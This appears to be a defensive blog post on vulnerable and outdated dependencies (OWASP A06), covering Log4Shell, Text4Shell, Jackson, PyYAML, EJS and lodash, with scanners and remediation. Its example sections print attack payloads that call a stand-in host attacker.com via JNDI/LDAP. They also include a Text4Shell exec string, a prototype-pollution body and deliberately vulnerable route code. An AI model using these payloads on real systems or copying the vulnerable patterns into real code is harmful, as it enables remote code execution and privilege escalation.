Your application is only as secure as its least-maintained dependency, and this is one of those lessons that really sinks in once you start digging into dependency trees. OWASP A06 (Vulnerable and Outdated Components) covers the reality that most modern applications are more dependency code than application code, and a single outdated library can undermine every security measure you’ve built. CWE-1104 captures this: the use of unmaintained third-party components with known vulnerabilities. In this post I’ll walk through real dependency chains in Python, Java, and JavaScript, from the Log4Shell-level disasters that make headlines to the subtle version pins that quietly accumulate CVEs while nobody’s watching.

Why Vulnerable Components Are Everywhere

The average web application pulls in hundreds of transitive dependencies. Each one is a potential attack surface. The problem isn’t that developers choose insecure libraries, it’s that secure libraries become insecure over time as vulnerabilities are discovered and patched. A requirements.txt or pom.xml that was perfectly safe six months ago might have three critical CVEs today. This happens to teams who did everything right at launch and then never looked at their dependencies again.

The failure modes are predictable:

  • Pinned versions that never update. flask==2.0.1 was fine in 2021. In 2025, it’s a liability.
  • Transitive dependencies nobody tracks. You depend on library A, which depends on library B version 1.2, which has a known RCE. You never chose library B, but you’re vulnerable. This is one of the hardest things to explain to teams who are new to dependency security.
  • “It works, don’t touch it” culture. Updating dependencies risks breaking things. So teams don’t update, and the vulnerability window grows. I get the instinct, but it’s a trap.
  • Dependency confusion between safe and unsafe APIs. A library might be safe in its latest version but have dangerous defaults in the pinned version.

The Easy-to-Spot Version

Java: Log4j 2.14.1 (Log4Shell)

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>

CVE-2021-44228 (Log4Shell) is the most impactful dependency vulnerability in recent history. Log4j’s JNDI lookup feature allows remote code execution when user-controlled data is logged. Any application that logs request parameters, headers, or user input through Log4j 2.x prior to 2.17.0 is vulnerable.

The exploitation is straightforward. If the application logs a user-supplied value:

logger.info("Product search: category={}", category);

An attacker sends category=${jndi:ldap://attacker.com/exploit}. Log4j processes the JNDI lookup, connects to the attacker’s LDAP server, and loads a malicious Java class, achieving remote code execution with a single HTTP request.

Every dependency scanner flags Log4j < 2.17.0. This is the canonical example of a vulnerable component, and if your scanner doesn’t catch this one, get a new scanner.

Python: Outdated Requests Library

# requirements.txt
requests==2.25.1

Requests 2.25.1 is vulnerable to CVE-2023-32681, which leaks Proxy-Authorization headers when following redirects to different hosts. An attacker controlling a redirect target captures authentication credentials during HTTP requests.

# Application code using the vulnerable version
response = requests.get(warehouse_url, headers={"Authorization": f"Bearer {token}"})

The fix is simply updating: requests>=2.31.0. Dependency scanners like pip-audit and safety flag this immediately. I mention this one because it’s a good example of how even the most popular, well-maintained libraries can have vulnerabilities, it’s not just obscure packages you need to worry about.

JavaScript: Outdated Express and Axios

{
  "dependencies": {
    "express": "4.17.1",
    "axios": "0.21.1",
    "lodash": "4.17.20"
  }
}

Three outdated packages in one package.json. Express 4.17.1 has known open redirect issues. Axios 0.21.1 has SSRF and XSRF token exposure vulnerabilities (CVE-2023-45857). Lodash 4.17.20 has prototype pollution and command injection via template (CVE-2021-23337). Running npm audit flags all three. A package.json like this in production is basically a CVE buffet.

The Hard-to-Spot Version

Java: Jackson Databind Deserialization Chain

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.12.3</version>
</dependency>
<dependency>
    <groupId>com.fasterxml.jackson.dataformat</groupId>
    <artifactId>jackson-dataformat-xml</artifactId>
    <version>2.12.3</version>
</dependency>

Jackson 2.12.3 has known deserialization vulnerabilities where polymorphic type handling can be exploited. But whether the vulnerability is actually exploitable depends on how the ObjectMapper is configured. If default typing is enabled or if the application uses @JsonTypeInfo annotations, an attacker can trigger instantiation of dangerous classes through crafted JSON payloads.

ObjectMapper mapper = new ObjectMapper();
// If default typing is enabled (common in older codebases):
mapper.enableDefaultTyping();

// Attacker sends:
// {"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exploit","autoCommit":true}

This is harder to detect because the vulnerability depends on the intersection of the library version and the application’s configuration. A dependency scanner flags the version, but determining exploitability requires code analysis. I’ve triaged Jackson findings where the scanner flagged critical but the app wasn’t actually exploitable, and a few where it was. You have to look at the code.

Python: PyYAML with FullLoader

# requirements.txt
PyYAML==5.3.1

PyYAML 5.3.1 with yaml.FullLoader is a subtle risk that I find particularly interesting. FullLoader was introduced as a safer alternative to yaml.Loader (which allows arbitrary Python object construction), but it still permits some object construction that can be exploited in certain versions.

import yaml

@app.route("/api/inventory/import", methods=["POST"])
def import_inventory():
    payload = request.get_data(as_text=True)
    parsed = yaml.load(payload, Loader=yaml.FullLoader)
    # ... process inventory ...

The developer chose FullLoader instead of yaml.Loader, showing security awareness. But the outdated PyYAML version combined with FullLoader still has known bypasses. The truly safe option is yaml.SafeLoader, which rejects all Python object tags.

A reviewer who sees FullLoader might think “they’re not using the unsafe Loader, this is fine.” I had that exact thought myself before digging deeper into the CVE history. The nuance is that FullLoader in PyYAML 5.3.1 is not as safe as SafeLoader, and the version matters. This is the kind of thing that makes dependency security so frustrating, the developer did the research, made a reasonable choice, and it still wasn’t enough.

JavaScript: EJS Template Injection

{
  "dependencies": {
    "ejs": "3.1.5"
  }
}

EJS 3.1.5 is vulnerable to CVE-2022-29078, a server-side template injection that allows breaking out of the template sandbox. If the application passes user-controlled strings to ejs.render():

app.get('/api/products/:id/label', (req, res) => {
    const product = products[req.params.id];
    const template = req.query.template || '<h1><%= name %></h1><p>$<%= price %></p>';
    const html = ejs.render(template, product);
    res.send(html);
});

An attacker sends a crafted template string that escapes the EJS sandbox and executes arbitrary code on the server. The vulnerability requires both the outdated EJS version and user-controlled template input, a combination that dependency scanners alone can’t detect. This is a good example of why scanners are necessary but not sufficient.

Java: Apache Commons Text (Text4Shell)

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.9</version>
</dependency>

CVE-2022-42889 (Text4Shell) is the less-famous cousin of Log4Shell. Apache Commons Text’s StringSubstitutor class includes default interpolators for script execution, DNS lookups, and URL fetching. When user-controlled strings are passed to StringSubstitutor.replace():

StringSubstitutor sub = new StringSubstitutor(productMap);
String label = sub.replace(template);

An attacker sends template=${script:javascript:java.lang.Runtime.getRuntime().exec('id')} and achieves remote code execution. This is harder to spot than Log4Shell because Commons Text is less widely known, and StringSubstitutor looks like a simple template engine. When this CVE came out, a lot of teams didn’t even know they had Commons Text in their dependency tree, which is exactly the kind of blind spot that makes transitive dependencies so dangerous.

JavaScript: Lodash Prototype Pollution via Merge

const _ = require('lodash');

app.post('/api/inventory/import', (req, res) => {
    const items = req.body.items || [];
    items.forEach(item => {
        const existing = products[item.id] || {};
        products[item.id] = _.merge(existing, item);
    });
    res.json({ message: "Import complete", count: items.length });
});

Lodash 4.17.20’s _.merge() is vulnerable to prototype pollution. An attacker sends:

{
  "items": [{
    "id": "1",
    "__proto__": {
      "isAdmin": true
    }
  }]
}

The _.merge() call writes to Object.prototype, and every object in the application now has isAdmin: true. This can bypass authorization checks, modify application behaviour, or cause denial of service. The fix is updating to lodash 4.17.21, but the deeper fix is avoiding _.merge() on untrusted input entirely. Reading about prototype pollution exploit chains, it’s clear this is one of those JavaScript-specific issues that catches people off guard, the creativity of the exploits is genuinely impressive.

Detection Strategies

Automated Dependency Scanning

Tool Language What It Catches
pip-audit / safety Python Known CVEs in PyPI packages
npm audit JavaScript Known CVEs in npm packages
OWASP Dependency-Check Java Known CVEs in Maven/Gradle dependencies
Snyk All CVEs + license issues + transitive deps
Dependabot / Renovate All Automated PR creation for outdated deps

These tools are effective for the easy cases, they maintain databases of known CVEs mapped to package versions. Run them in CI/CD pipelines to catch outdated dependencies before they reach production. This is table stakes at this point, if you’re not running at least one of these, you’re flying blind.

What Automated Tools Miss

  • Exploitability context: A scanner flags Jackson 2.12.3 as vulnerable, but doesn’t know if your application enables default typing. The CVE exists, but it might not be exploitable in your specific configuration.
  • Zero-day vulnerabilities: By definition, scanners can’t flag vulnerabilities that haven’t been disclosed yet.
  • Abandoned but not yet CVE’d packages: A package might be unmaintained with no security patches, but if no CVE has been filed, scanners won’t flag it. Some of the scariest dependencies are libraries with no commits in three years and open security issues that nobody’s addressing.
  • Transitive dependency conflicts: Your direct dependency might be safe, but it pulls in a vulnerable transitive dependency that scanners may not trace.

Manual Review Strategy

Here’s what I’ve found works well when auditing dependencies:

  1. Audit pinned versions: Any exact version pin (==, no ^ or ~) is a red flag for staleness. Check when the pinned version was released and what CVEs have been filed since.
  2. Check for known-dangerous libraries: Log4j < 2.17.0, Jackson with default typing, PyYAML with non-Safe loaders, lodash merge on untrusted input, EJS with user-controlled templates.
  3. Review dependency age: If a dependency hasn’t been updated in over a year, check if it’s still maintained. Unmaintained packages accumulate unpatched vulnerabilities.
  4. Trace user input to library calls: When a vulnerable library version is found, determine if user-controlled data reaches the vulnerable API. This determines exploitability.

Remediation

Keep Dependencies Current

# Python, use pip-audit in CI
pip-audit --requirement requirements.txt

# JavaScript, use npm audit in CI
npm audit --audit-level=high

# Java, use OWASP Dependency-Check
mvn org.owasp:dependency-check-maven:check

Pin to Safe Versions

# Python requirements.txt
Flask>=3.0.0
PyYAML>=6.0.1
requests>=2.31.0
lxml>=4.9.3
cryptography>=41.0.0
<!-- Java pom.xml -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.21.1</version>
</dependency>
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.16.0</version>
</dependency>
// JavaScript package.json
{
  "dependencies": {
    "express": "^4.18.2",
    "lodash": "^4.17.21",
    "ejs": "^3.1.9",
    "axios": "^1.6.0"
  }
}

Use Safe APIs Regardless of Version

Even with updated libraries, using the safest API available is always the right call:

# Always use SafeLoader, not FullLoader
parsed = yaml.load(payload, Loader=yaml.SafeLoader)
// Don't pass user input to template engines
// Instead, use predefined templates with data binding
const html = ejs.render(PREDEFINED_TEMPLATE, { name: product.name, price: product.price });
// Disable default typing in Jackson
ObjectMapper mapper = new ObjectMapper();
// Do NOT call: mapper.enableDefaultTyping();

Here’s the principle that clicked for me while researching this post: treat your dependency list as an attack surface. Scan it automatically, update it regularly, and understand that a vulnerability in a dependency is a vulnerability in your application. The most dangerous dependencies are the ones you forgot you had, and those are usually the transitive ones three levels deep that nobody ever explicitly chose.